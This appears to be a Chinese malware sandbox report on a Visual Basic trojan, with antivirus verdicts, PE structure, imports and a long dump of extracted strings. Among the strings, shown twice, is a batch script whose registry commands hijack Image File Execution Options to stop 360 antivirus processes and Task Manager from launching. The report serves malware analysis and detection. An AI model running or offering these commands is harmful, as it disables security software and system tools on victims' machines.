1.1
低危
DACN
0.12
FACILE
1.00
IMCLNet
0.69
MFGraph
0.00
反病毒引擎
| 查杀引擎 | 查杀结果 | 查杀时间 | 查杀版本 |
|---|---|---|---|
| Alibaba | None | 20190527 | 0.3.0.5 |
| Avast | Win32:TrojanX-gen [Trj] | 20200305 | 18.4.3895.0 |
| Baidu | None | 20190318 | 1.0.0.2 |
| CrowdStrike | win/malicious_confidence_100% (D) | 20190702 | 1.0 |
| Kingsoft | None | 20200305 | 2013.8.14.323 |
| McAfee | Trojan-FQXU!1BB8B74573B3 | 20200304 | 6.0.6.653 |
| Tencent | Malware.Win32.Gencirc.10b3cff1 | 20200305 | 1.0.0.1 |
静态指标
动态指标
在 PE 资源中识别到外语
(1 个事件)
| name | RT_VERSION | language | LANG_CHINESE | filetype | None | sublanguage | SUBLANG_CHINESE_SIMPLIFIED | offset | 0x0000a9a4 | size | 0x0000024c | ||||||||||||||||||
网络通信
与未执行 DNS 查询的主机进行通信
(1 个事件)
| host | 114.114.114.114 | |||
文件已被 VirusTotal 上 62 个反病毒引擎识别为恶意
(50 out of 62 个事件)
| ALYac | Trojan.Agent.DVQW |
| APEX | Malicious |
| AVG | Win32:TrojanX-gen [Trj] |
| Acronis | suspicious |
| Ad-Aware | Trojan.Agent.DVQW |
| AhnLab-V3 | Trojan/Win32.Fsysna.R269415 |
| Antiy-AVL | Trojan/Win32.Fsysna.FCCR |
| Arcabit | Trojan.Agent.DVQW |
| Avast | Win32:TrojanX-gen [Trj] |
| Avira | TR/Dropper.Gen |
| BitDefender | Trojan.Agent.DVQW |
| BitDefenderTheta | AI:Packer.BAA68EEA1F |
| Bkav | W32.HfsOval. |
| CAT-QuickHeal | Trojan.FsysnaVMF.S7094755 |
| ClamAV | Win.Malware.Fsysna-7004456-0 |
| Comodo | TrojWare.Win32.Ditertag.DI@8k2up6 |
| CrowdStrike | win/malicious_confidence_100% (D) |
| Cybereason | malicious.573b3d |
| Cylance | Unsafe |
| Cyren | W32/Fsysna.E.gen!Eldorado |
| DrWeb | Trojan.KillFiles.64121 |
| ESET-NOD32 | Win32/KillFiles.A |
| Emsisoft | Trojan.Agent.DVQW (B) |
| Endgame | malicious (high confidence) |
| F-Prot | W32/Fsysna.E.gen!Eldorado |
| F-Secure | Trojan.TR/Dropper.Gen |
| FireEye | Generic.mg.1bb8b74573b3dbb8 |
| Fortinet | W32/Fsysna.FCCR!tr |
| GData | Trojan.Agent.DVQW |
| Ikarus | Trojan.Agent |
| Invincea | heuristic |
| Jiangmin | Trojan.Fsysna.kfk |
| K7AntiVirus | Trojan ( 0000bbc81 ) |
| K7GW | Trojan ( 0000bbc81 ) |
| Kaspersky | Trojan.Win32.Fsysna.fcpq |
| MAX | malware (ai score=81) |
| Malwarebytes | Hijack.AssocExt |
| MaxSecure | Trojan.Fsysna.fcpq |
| McAfee | Trojan-FQXU!1BB8B74573B3 |
| McAfee-GW-Edition | BehavesLike.Win32.Autorun.dh |
| MicroWorld-eScan | Trojan.Agent.DVQW |
| Microsoft | Trojan:Win32/Musecador |
| NANO-Antivirus | Trojan.Win32.Fsysna.fpivmo |
| Panda | Trj/Genetic.gen |
| Qihoo-360 | HEUR/QVM41.1.AD05.Malware.Gen |
| Rising | Worm.KillFiles!8.53B3 (TFE:dGZlOgMT2kV9DhKUEg) |
| SUPERAntiSpyware | Trojan.Agent/Gen-Injector |
| Sangfor | Malware |
| SentinelOne | DFI - Malicious PE |
| Sophos | Troj/VB-KOX |
二进制图像
288x288
224x224
192x192
160x160
128x128
96x96
64x64
32x32
运行截图
暂无运行截图
该样本运行过程中未生成截图
PE Compile Time
2019-04-20 18:22:04
PE Imphash
d2bf2bc66c5e49a85254cd29b19046bd
Sections
| Name | Virtual Address | Virtual Size | Size of Raw Data | Entropy |
|---|---|---|---|---|
| .text | 0x00001000 | 0x00007df0 | 0x00008000 | 6.058616924670466 |
| .data | 0x00009000 | 0x00000b40 | 0x00001000 | 0.0 |
| .rsrc | 0x0000a000 | 0x00001000 | 0x00001000 | 4.416328167746471 |
Resources
| Name | Offset | Size | Language | Sub-language | File type |
|---|---|---|---|---|---|
| RT_ICON | 0x0000a0e8 | 0x000008a8 | LANG_NEUTRAL | SUBLANG_NEUTRAL | None |
| RT_GROUP_ICON | 0x0000a990 | 0x00000014 | LANG_NEUTRAL | SUBLANG_NEUTRAL | None |
| RT_VERSION | 0x0000a9a4 | 0x0000024c | LANG_CHINESE | SUBLANG_CHINESE_SIMPLIFIED | None |
Imports
Library MSVBVM60.DLL:
• 0x401000 _CIcos
• 0x401004 _adj_fptan
• 0x401008 __vbaStrI4
• 0x40100c __vbaVarMove
• 0x401010 __vbaAryMove
• 0x401014 __vbaFreeVar
• 0x401018 __vbaStrVarMove
• 0x40101c __vbaLenBstr
• 0x401020 __vbaFreeVarList
• 0x401024 __vbaEnd
• 0x401028 _adj_fdiv_m64
• 0x40102c __vbaFreeObjList
• 0x401030 _adj_fprem1
• 0x401034 __vbaStrCat
• 0x401038 __vbaError
• 0x40103c __vbaSetSystemError
• 0x401040 __vbaHresultCheckObj
• 0x401044 _adj_fdiv_m32
• 0x401048 __vbaAryDestruct
• 0x40104c __vbaExitProc
• 0x401050 __vbaVarForInit
• 0x401054 None
• 0x401058 None
• 0x40105c __vbaObjSet
• 0x401060 __vbaOnError
• 0x401064 _adj_fdiv_m16i
• 0x401068 _adj_fdivr_m16i
• 0x40106c None
• 0x401070 _CIsin
• 0x401074 __vbaErase
• 0x401078 __vbaChkstk
• 0x40107c __vbaGosubFree
• 0x401080 __vbaFileClose
• 0x401084 EVENT_SINK_AddRef
• 0x401088 __vbaGenerateBoundsError
• 0x40108c None
• 0x401090 __vbaAryConstruct2
• 0x401094 __vbaPutOwner4
• 0x401098 __vbaI2I4
• 0x40109c DllFunctionCall
• 0x4010a0 __vbaFpUI1
• 0x4010a4 __vbaRedimPreserve
• 0x4010a8 __vbaStrR4
• 0x4010ac _adj_fpatan
• 0x4010b0 __vbaFixstrConstruct
• 0x4010b4 None
• 0x4010b8 __vbaRedim
• 0x4010bc EVENT_SINK_Release
• 0x4010c0 __vbaNew
• 0x4010c4 None
• 0x4010c8 __vbaUI1I2
• 0x4010cc _CIsqrt
• 0x4010d0 EVENT_SINK_QueryInterface
• 0x4010d4 __vbaUI1I4
• 0x4010d8 __vbaExceptHandler
• 0x4010dc __vbaPrintFile
• 0x4010e0 __vbaStrToUnicode
• 0x4010e4 None
• 0x4010e8 _adj_fprem
• 0x4010ec _adj_fdivr_m64
• 0x4010f0 __vbaGosub
• 0x4010f4 None
• 0x4010f8 __vbaFPException
• 0x4010fc None
• 0x401100 __vbaGetOwner3
• 0x401104 __vbaStrVarVal
• 0x401108 __vbaVarCat
• 0x40110c __vbaGetOwner4
• 0x401110 __vbaI2Var
• 0x401114 __vbaLsetFixstrFree
• 0x401118 None
• 0x40111c _CIlog
• 0x401120 __vbaErrorOverflow
• 0x401124 __vbaFileOpen
• 0x401128 __vbaVar2Vec
• 0x40112c __vbaNew2
• 0x401130 None
• 0x401134 None
• 0x401138 None
• 0x40113c _adj_fdiv_m32i
• 0x401140 _adj_fdivr_m32i
• 0x401144 None
• 0x401148 __vbaStrCopy
• 0x40114c __vbaVarSetObj
• 0x401150 __vbaFreeStrList
• 0x401154 __vbaDerefAry1
• 0x401158 _adj_fdivr_m32
• 0x40115c _adj_fdiv_r
• 0x401160 None
• 0x401164 None
• 0x401168 __vbaVarTstNe
• 0x40116c None
• 0x401170 __vbaI4Var
• 0x401174 __vbaVarAdd
• 0x401178 __vbaAryLock
• 0x40117c __vbaVarDup
• 0x401180 __vbaStrToAnsi
• 0x401184 __vbaVarLateMemCallLd
• 0x401188 __vbaFpI4
• 0x40118c __vbaVarCopy
• 0x401190 None
• 0x401194 __vbaVarSetObjAddref
• 0x401198 _CIatan
• 0x40119c __vbaStrMove
• 0x4011a0 __vbaStrVarCopy
• 0x4011a4 _allmul
• 0x4011a8 __vbaLenVarB
• 0x4011ac _CItan
• 0x4011b0 __vbaAryUnlock
• 0x4011b4 __vbaFPInt
• 0x4011b8 __vbaVarForNext
• 0x4011bc _CIexp
• 0x4011c0 __vbaFreeStr
• 0x4011c4 __vbaFreeObj
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlr r
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE| }P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
7922F4DB6BD4AF02B061CB04F35BE848
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlr r
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE| }P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
